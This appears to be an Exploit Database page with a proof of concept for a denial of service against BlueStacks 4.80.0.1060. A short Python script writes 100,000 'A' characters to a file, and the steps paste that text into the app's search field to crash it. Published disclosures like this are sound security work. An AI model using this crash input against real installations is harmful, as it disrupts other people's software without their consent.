

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

BlueStacks 4.80.0.1060 - Denial of Service (PoC)

EDB-ID:

46893

CVE:

N/A

EDB Verified: ✗**Author:**[ALEJANDRA SÁNCHEZ](#)**Type:**[DOS](#)**Exploit:** / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# -*- coding: utf-8 -*-
# Exploit Title: BlueStacks 4.80.0.1060 - Denial of Service (PoC)
# Date: 21/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.bluestacks.com
# Software: https://www.bluestacks.com/download.html?
utm_campaign=bluestacks-4-en
# Version: 4.80.0.1060
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'Bluestacks.py', it will create a new file
'exploit.txt'
# 2.- Copy the text from the generated exploit.txt file to clipboard
# 3.- Open BlueStacks
# 4.- Paste clipboard in the search field and click on the search button
# 5.- Crashed

buffer = "\x41" * 100000

f = open ("exploit.txt", "w")
f.write(buffer)
f.close()
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.